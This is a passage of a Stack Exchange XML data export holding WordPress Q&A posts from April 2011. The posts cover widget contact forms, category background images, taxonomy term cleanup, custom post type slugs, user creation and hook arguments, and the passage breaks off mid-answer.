  <row Id="14347" PostTypeId="1" CreationDate="2011-04-09T08:52:49.133" Score="0" ViewCount="201" Body="&lt;p&gt;I'm trying to build a contact form custom widget. So i would like to display a contact form with a WordPress widget and send a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problem to display the form with my widget but when i click on the send button i can't retrieve my data. The isset($_POST['my_data']) doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put my form code out of the widget in a simple php file, everything is ok, the isset($_POST['my_data']) work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do the test with this simple snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//$form_action = '';&#xA;$form_action = get_bloginfo('url').'#contactBox';&#xA;&#xA;if (isset($_POST['send'])) {&#xA;echo &quot;The isset 'send' work well &#xA;&quot;;&#xA;$name = (isset($_POST['name'])) ? $_POST['name'] : '';&#xA;echo &quot;name = &quot;.$name.&quot; &quot;;&#xA;} else {&#xA;echo &quot;There is something WRONG !!!&quot;;&#xA;}&#xA;&#xA;// Display the form&#xA;echo '&amp;lt;form method=&quot;post&quot; action=&quot;'.$form_action.'&quot;&amp;gt;'.&quot;\n&quot;;&#xA;echo '  &amp;lt;p&amp;gt;'.&quot;\n&quot;;&#xA;echo '  &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;'.&quot;\n&quot;;&#xA;echo '  &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;'.$name.'&quot; /&amp;gt;'.&quot;\n&quot;;&#xA;echo '  &amp;lt;/p&amp;gt;'.&quot;\n&quot;;&#xA;echo '  &amp;lt;div style=&quot;text-align:center;&quot;&amp;gt;&amp;lt;input class=&quot;submit&quot; type=&quot;submit&quot; name=&quot;send&quot; value=&quot;Send&quot; /&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;echo '&amp;lt;/form&amp;gt;'.&quot;\n&quot;;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to implement a form with a WordPress custom widget ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the complete code of my custom widget with the contact form: www.pixenjoy.com/documents/widget.zip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add two echo messages in this code to test the retrieve of my data form (if(isset...) &gt; line 145 &quot;ok&quot; line 190 &quot;ko&quot;&lt;/p&gt;&#xA;" OwnerUserId="4552" LastEditorUserId="4552" LastEditorDisplayName="" LastEditDate="2011-04-09T14:30:16.913" LastActivityDate="2011-08-10T15:21:57.340" Title="A form in a custom widget" Tags="&lt;widgets&gt;&lt;form&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14348" PostTypeId="2" ParentId="14347" CreationDate="2011-04-09T09:19:58.717" Score="0" ViewCount="" Body="&lt;p&gt;I remember a support topic i read with regard to a problem when you use the name &lt;code&gt;name&lt;/code&gt; for one of your post fields, try prefixing your input names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;my-name&quot;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And see if that helps..&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Follow-up #1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I performed a simple test inside a widget..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( isset( $_POST ) ) {&#xA;    print'&amp;lt;pre&amp;gt;';print_r( $_POST );print'&amp;lt;/pre&amp;gt;';&#xA;}&#xA;echo '&amp;lt;form action=&quot;'.home_url().'&quot; method=&quot;post&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;thename&quot; /&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/form&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the post variables that have been set by the form just fine, post up more of your applicable code please.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Follow-up #2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you try the test code i posted above does it work? If it does, then i'd guess at an issue with either form action of the submit input name, try hard-coding the action or changing the submit input to match my test one, and see if either change fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither help, next i'd suggest disabling plugins to rule out interferance(a plugin could be unsetting &lt;code&gt;$_POST&lt;/code&gt; variables at some point(just a wild guess, but a possibility nonetheless).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-10T11:36:49.063" LastActivityDate="2011-04-10T11:36:49.063" CommentCount="9" />
  <row Id="14349" PostTypeId="1" CreationDate="2011-04-09T09:54:48.363" Score="0" ViewCount="203" Body="&lt;p&gt;In my stylesheet I'm hoping to use code like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background-image: url(/wp-content/images/' . $category-&amp;gt;cat_ID . '.jpg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to pull in a different background image for each category. So I'll have an image called 1.jpg and it'll show that image as the background to the li element I'm trying to style for Category 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That approach works fine in template files like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/wp-content/images/' . $category-&amp;gt;cat_ID . '.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but in the stylesheet it's not working for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2011-05-16T12:01:49.633" Title="Use PHP in stylesheet to specify a background image based on Category ID" Tags="&lt;php&gt;&lt;css&gt;" AnswerCount="3" />
  <row Id="14350" PostTypeId="2" ParentId="14344" CreationDate="2011-04-09T10:06:47.757" Score="2" ViewCount="" Body="&lt;h3&gt;Categories, Tags &amp; Taxonomies&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First i want to make this one clear: Everything is a &lt;strong&gt;Taxonomy&lt;/strong&gt;. Tags is a non-hierarchical, Categories a hierarchical and both are built-in taxonomies. Same goes for eg. post formats (aside, chat, etc.). It's the same concept as with post-types (post, page, attachment, nav_menu_item, etc. are all just built in post types).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything inside one of those Taxonomies is a &lt;strong&gt;Term&lt;/strong&gt;. For eg. (inside post formats) &quot;aside&quot;, &quot;quote&quot;, &quot;audio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/#Category.2C_Tag_and_Taxonomy_Functions&quot; rel=&quot;nofollow&quot;&gt;&lt;h3&gt;Codex Links&lt;/h3&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_taxonomy()&lt;/code&gt;&lt;/a&gt; - allows you to register a taxonomy from ex. inside your &lt;code&gt;functions.php&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_term()&lt;/code&gt;&lt;/a&gt; - allows you to register a term&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_term&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_term()&lt;/code&gt;&lt;/a&gt; - allows you to delete a term&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms()&lt;/code&gt;&lt;/a&gt; - allows you to retrieve all &lt;em&gt;terms&lt;/em&gt; from a given &lt;em&gt;taxonomy&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;The Concept&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following is for your &lt;code&gt;functions.php&lt;/code&gt; file. This triggers on every page request. You could improve it - &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;using the Transients API&lt;/a&gt; - to trigger on given timestamps (eg. twice daily, hourly, etc.).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse14350_cleanup_taxonomy_terms()&#xA;{&#xA;    // Define your terms inside this array&#xA;    $predefined_terms = array(&#xA;         'term A'&#xA;        ,'term B'&#xA;        ,'term C'&#xA;    );&#xA;    // Name your taxonomy here&#xA;    $predefined_taxonomy = 'category';&#xA;&#xA;    $all_terms_inside_tax = get_terms( &#xA;         $predefined_taxonomy&#xA;        ,array(&#xA;             'hide_empty'   =&amp;gt; false&#xA;            ,'taxonomy'     =&amp;gt; $predefined_taxonomy&#xA;        ) &#xA;    );&#xA;&#xA;    foreach ( $all_terms_inside_tax as $term )&#xA;    {&#xA;        if ( ! in_array( $term-&amp;gt;name, $predefined_terms ) )&#xA;            wp_delete_term( $term-&amp;gt;term_id, $predefined_taxonomy );&#xA;    }&#xA;}&#xA;add_action( 'init', 'wpse14350_cleanup_taxonomy_terms' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-09T10:06:47.757" CommentCount="4" />
  <row Id="14351" PostTypeId="2" ParentId="14349" CreationDate="2011-04-09T10:12:57.893" Score="3" ViewCount="" Body="&lt;p&gt;Stylesheets can hold only CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make use of the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; function, then you get classes for nearly every request. You can then define those classes (ex. backgrounds) inside your stylesheet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this inside your templates: &lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt; (if you haven't already got it).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-09T10:12:57.893" />
  <row Id="14352" PostTypeId="1" AcceptedAnswerId="14364" CreationDate="2011-04-09T11:13:39.580" Score="0" ViewCount="293" Body="&lt;p&gt;I registered custom post type by &lt;code&gt;register_post_type('new_post',$args);&lt;/code&gt; So new post url looks like `http://myweb.com/new_post/post_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I change &lt;strong&gt;_&lt;em&gt;later&lt;/em&gt;_&lt;/strong&gt; the part of url from &lt;code&gt;new_post&lt;/code&gt; to something else? &lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditorDisplayName="" LastEditDate="2011-04-10T11:19:15.640" LastActivityDate="2011-04-10T11:19:15.640" Title="can I chage url for register_post_type" Tags="&lt;custom-post-types&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14353" PostTypeId="2" ParentId="14331" CreationDate="2011-04-09T11:45:03.170" Score="-1" ViewCount="" Body="&lt;p&gt;@Bainternet: Thanks! I had to alter the function slightly because it wasn't working (some typos). The only problem now is that the term count is off. The count isn't taking the post type into consideration so I don't think you can use get_terms() in this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_terms_by_post_type($post_type,$taxonomy,$fields='all',$args){&#xA;    $q_args = array(&#xA;        'post_type' =&amp;gt; (array)$post_type,&#xA;        'posts_per_page' =&amp;gt; -1&#xA;    );&#xA;    $the_query = new WP_Query( $q_args );&#xA;&#xA;    $terms = array();&#xA;&#xA;    while ($the_query-&amp;gt;have_posts()) { $the_query-&amp;gt;the_post();&#xA;&#xA;        global $post;&#xA;&#xA;        $current_terms = get_the_terms( $post-&amp;gt;ID, $taxonomy);&#xA;&#xA;        foreach ($current_terms as $t){&#xA;            //avoid duplicates&#xA;            if (!in_array($t,$terms)){&#xA;                $t-&amp;gt;count = 1;&#xA;                $terms[] = $t;&#xA;            }else{&#xA;                $key = array_search($t, $terms);&#xA;                $terms[$key]-&amp;gt;count = $terms[$key]-&amp;gt;count + 1;&#xA;            }&#xA;        }&#xA;    }&#xA;    wp_reset_query();&#xA;&#xA;    //return array of term objects&#xA;    if ($fields == &quot;all&quot;)&#xA;        return $terms;&#xA;    //return array of term ID's&#xA;    if ($fields == &quot;ID&quot;){&#xA;        foreach ($terms as $t){&#xA;            $re[] = $t-&amp;gt;term_id;&#xA;        }&#xA;        return $re;&#xA;    }&#xA;    //return array of term names&#xA;    if ($fields == &quot;name&quot;){&#xA;        foreach ($terms as $t){&#xA;            $re[] = $t-&amp;gt;name;&#xA;        }&#xA;        return $re;&#xA;    }&#xA;    // get terms with get_terms arguments&#xA;    if ($fields == &quot;get_terms&quot;){&#xA;        $terms2 = get_terms( $taxonomy, $args );&#xA;&#xA;        foreach ($terms as $t){&#xA;            if (in_array($t,$terms2)){&#xA;                $re[] = $t;&#xA;            }&#xA;        }&#xA;        return $re;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Added the fix(es). But somehow it's still not working for me. The count still shows the incorrect value.&lt;/p&gt;&#xA;" OwnerUserId="4495" LastEditorUserId="4495" LastEditorDisplayName="" LastEditDate="2011-04-10T11:03:08.500" LastActivityDate="2011-04-10T11:03:08.500" CommentCount="4" />
  <row Id="14354" PostTypeId="1" AcceptedAnswerId="14360" CreationDate="2011-04-09T12:24:45.367" Score="0" ViewCount="196" Body="&lt;p&gt;I am using the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_create_user( $username, $password, $email ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function in a contact form to create a subscriber when the user enters infomation on the contact form, thus in the background adding their email address to the database and giving them an account for site access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this way of doing it though not mean that if a user sends 3 messages from the contact form they end up with 3 accounts with the same email address, or will it check to see if the email address or user name already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-04-09T13:57:08.640" Title="WP Create User - Preventing repeated information" Tags="&lt;users&gt;&lt;email&gt;" AnswerCount="1" />
  <row Id="14355" PostTypeId="1" AcceptedAnswerId="14368" CreationDate="2011-04-09T12:44:52.650" Score="0" ViewCount="48" Body="&lt;p&gt;Hi I'm running a site that makes heavy use of a custom taxonomy called 'Games' and using the Simple Term Meta plugin the metadata for these terms. Using pretty much a copy of the code from &lt;a href=&quot;http://wordheavy.com/blog/2010/08/10/using-term-meta/&quot; rel=&quot;nofollow&quot;&gt;wordheavy.com&lt;/a&gt; it's working fine except for two things: it throws an error on the 'Game' taxonomy page (Warning: Missing argument 2 for game_form_fields() in &lt;strong&gt;ommitted&lt;/strong&gt;/functions.php on line 32) and when you add a 'game' the form doesn't clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a copy of my code &lt;a href=&quot;http://pastebin.com/57UHsikT&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite where to start (apart from line 32!) so any direction would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2011-04-09T17:35:12.790" Title="Error in Custom Taxonomy UI" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="14356" PostTypeId="2" ParentId="14349" CreationDate="2011-04-09T13:10:48.633" Score="1" ViewCount="" Body="&lt;p&gt;You can also define just this class in your 'header.php', though following @kaiser's suggestion is generally a preferred way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-09T13:10:48.633" />
  <row Id="14357" PostTypeId="1" CreationDate="2011-04-09T13:11:44.500" Score="-1" ViewCount="50" Body="&lt;p&gt;I have installed wrdpress.org on my local host how do i generate Permalink that will show a url than localhost&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="4553" LastActivityDate="2011-04-09T13:53:24.530" Title="problem generating url" Tags="&lt;plugin-custom-permalinks&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14358" PostTypeId="1" CreationDate="2011-04-09T13:42:50.617" Score="2" ViewCount="529" Body="&lt;p&gt;I would like to remove everything except the “form” in wp-admin/post.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do this for user role &quot;author&quot; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for all this: I want the wp-admin/post.php to be a page where the author only can edit the content, clean from everything else (the will be linked to the page from the mainpage...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I have slowed this using CSS. But that loads all unnecessary HTML,  js and CSS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wonder if there’s a way to do this using PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Se this link: &lt;a href=&quot;http://i.stack.imgur.com/ziCg9.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/ziCg9.jpg&lt;/a&gt; (new users aren't allowed to post images...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the admin panel to only show this when authors press the &quot;edit-post-link&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($current_user-&amp;gt;user_level &amp;lt; 8){code here...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4554" LastEditorUserId="4554" LastEditorDisplayName="" LastEditDate="2011-04-10T06:42:34.340" LastActivityDate="2011-08-08T21:32:58.700" Title="Remove admin menu, admin header and admin footer for authors" Tags="&lt;admin-bar&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14359" PostTypeId="2" ParentId="14357" CreationDate="2011-04-09T13:53:24.530" Score="0" ViewCount="" Body="&lt;p&gt;Can't really understand your question. But test:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_permalink(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_permalink&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_permalink&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will work even if you are running your wordpress on your own computer.&lt;/p&gt;&#xA;" OwnerUserId="4554" LastActivityDate="2011-04-09T13:53:24.530" />
  <row Id="14360" PostTypeId="2" ParentId="14354" CreationDate="2011-04-09T13:57:08.640" Score="1" ViewCount="" Body="&lt;p&gt;The function &lt;code&gt;wp_create_user&lt;/code&gt; calls &lt;code&gt;‪wp_insert_user‬&lt;/code&gt; which check to see if &lt;code&gt;$username&lt;/code&gt; and &lt;code&gt;$email&lt;/code&gt; already exists and if so it returns a new WP_Error so you wont have duplicate users in your database and it wont send the new user email more then once, but i'm not sure if that is the best way to do that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-09T13:57:08.640" CommentCount="1" />
  <row Id="14361" PostTypeId="1" AcceptedAnswerId="14420" CreationDate="2011-04-09T13:59:50.357" Score="2" ViewCount="119" Body="&lt;p&gt;This is a common function that adds default text to all posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'my_editor_content' );&#xA;function my_editor_content( $content ) {&#xA;    $content = &quot;default content goes here....&quot;;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would this be changed to add the default content only to a post in one category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4/10/11 Not an exact answer, but a few choices below in my own answer&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-10T15:55:03.360" LastActivityDate="2011-04-10T15:55:03.360" Title="Default content for a post in one category?" Tags="&lt;functions&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14362" PostTypeId="2" ParentId="14361" CreationDate="2011-04-09T14:57:01.560" Score="0" ViewCount="" Body="&lt;p&gt;You can globalize $post and check if it has the category you want: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'my_editor_content' );&#xA;function my_editor_content( $content ) {&#xA;    global $post;&#xA;    $the_one_category_id= '12'; //the category you want this to work on id&#xA;    $args= array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'fields' =&amp;gt; 'ids');&#xA;    $cats = wp_get_object_terms($post-&amp;gt;ID, 'category',$args);&#xA;    if (in_array($the_one_category_id,$cats)){&#xA;        $content = &quot;default content goes here....&quot;;&#xA;    }&#xA;        return $content;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-10T06:58:55.380" LastActivityDate="2011-04-10T06:58:55.380" CommentCount="4" />
  <row Id="14363" PostTypeId="1" AcceptedAnswerId="14408" CreationDate="2011-04-09T15:22:49.313" Score="1" ViewCount="265" Body="&lt;p&gt;I have a page (not a blog post) I need to embed an iframe on (it's to &quot;integrate&quot; an external service's product catalog). I added the iframe code in the raw HTML editor and saved the page. I viewed the page, everything worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went back to the editor and switched from raw HTML to the Visual editor tab, added a line of text, and then remembered I needed to add an attribute to the iframe code. So I switched back to the raw HTML tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did this, the post is completely empty. Everything I'd entered in the editor in raw HTML or not was stripped out and the post is blank, like I'd just created it new. I had to roll back to a revision to recover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the solution has been to disable the Visual editor, but I have a non technical partner and that isn't an ideal long term solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to control this behavior of WordPress? I'm using WordPress 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4555" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-04-10T13:34:20.007" LastActivityDate="2011-04-10T13:34:20.007" Title="Switching From HTML to Visual Editor and Back Completely Strips Page Contents" Tags="&lt;html&gt;&lt;visual-editor&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="14364" PostTypeId="2" ParentId="14352" CreationDate="2011-04-09T15:51:40.943" Score="2" ViewCount="" Body="&lt;p&gt;It would help if you listed your $args array, but, the portion you are looking for is under 'rewrite'. Here's the way I like to build an $args array for registering a post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set up the labels&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Archived Jobs', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Archived Job', 'post type singular name'),&#xA;        'add_new' =&amp;gt; __('Add New'),&#xA;        'add_new_item' =&amp;gt; __('Add New Job'),&#xA;        'edit_item' =&amp;gt; __('Edit Job'),&#xA;        'new_item' =&amp;gt; __('New Job'),&#xA;        'view_item' =&amp;gt; __('View Job'),&#xA;        'search_items' =&amp;gt; __('Search Jobs'),&#xA;        'not_found' =&amp;gt;  __('No Jobs found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No Jobs found in Trash'), &#xA;        'parent_item_colon' =&amp;gt; '',&#xA;        'menu_name' =&amp;gt; 'Archives'&#xA;    );&#xA;//set up the rewrite rules&#xA;    $rewrite = array(&#xA;        'slug' =&amp;gt; 'archives'&#xA;    );&#xA;//build the arguement array&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true, &#xA;        'show_in_menu' =&amp;gt; true, &#xA;        'query_var' =&amp;gt; 'archives',&#xA;        'rewrite' =&amp;gt; $rewrite,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'has_archive' =&amp;gt; true, &#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','author','comments')&#xA;    ); &#xA;    register_post_type('archive',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The portion of this you are looking for is the $rewrite part, change the slug to whatever you want (url friendly of course, no weird characters or spaces). You may even wish to put slashes in there. In my example, a URL reads: www.website.com/archives/post_name/&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-09T15:51:40.943" CommentCount="8" />
  <row Id="14365" PostTypeId="1" CreationDate="2011-04-09T16:03:00.153" Score="0" ViewCount="62" Body="&lt;p&gt;Hallo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot go to my individual blog posts (or any other pages beyond my main page) because it always takes me to the RSS feed page instead. I think it is a problem with my .htaccess file, so here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using a subdomain and the address is located at &lt;a href=&quot;http://www.das-tagebuch.andontie.net&quot; rel=&quot;nofollow&quot;&gt;http://www.das-tagebuch.andontie.net&lt;/a&gt; If you try and click &quot;read more&quot;, it should just take you to the RSS feed page. If it doesn't the first time, it should the second time. It does it for me all the time now and only emptying Firefox's cache fixes it temporarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="4556" LastEditorUserId="1769" LastEditorDisplayName="" LastEditDate="2011-04-09T20:20:37.763" LastActivityDate="2011-08-08T16:20:59.053" Title="Cannot access blog pages beyond main page" Tags="&lt;permalinks&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="14366" PostTypeId="2" ParentId="14341" CreationDate="2011-04-09T16:14:03.920" Score="1" ViewCount="" Body="&lt;p&gt;I think what would work best for your case is making use of the WordPress template hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually just create a custom template file in your theme folder named category-{slug}.php to get a custom look for that category. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If your category was 'Dogs' and the slug you set for it was 'dog', the template file loaded for that category would be named category-dog.php, otherwise it falls back to category.php.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Codex Link:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-09T16:14:03.920" CommentCount="1" />
  <row Id="14367" PostTypeId="2" ParentId="10537" CreationDate="2011-04-09T16:25:16.647" Score="0" ViewCount="" Body="&lt;p&gt;apparently this is enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'show_template');&#xA;function show_template() {&#xA;    global $template;&#xA;    echo basename($template);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1244" LastActivityDate="2011-04-09T16:25:16.647" />
  <row Id="14368" PostTypeId="2" ParentId="14355" CreationDate="2011-04-09T16:55:38.283" Score="0" ViewCount="" Body="&lt;p&gt;The issue at first glance appears to be here..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('game_edit_form_fields', 'game_form_fields');&#xA;add_action('game_add_form_fields', 'game_form_fields');&#xA;function game_form_fields($tag,$taxonomy) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your function is expecting 2 vars to be passed from the hook, but your &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_action&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_action&lt;/code&gt;&lt;/a&gt; calls default to 1..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg, this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('game_edit_form_fields', 'game_form_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is equal to this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('game_edit_form_fields', 'game_form_fields', 10, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fourth parameters sets how many arguments your callback function can take, and the default is 1, so that's all your function ever receieves. Updating those &lt;a 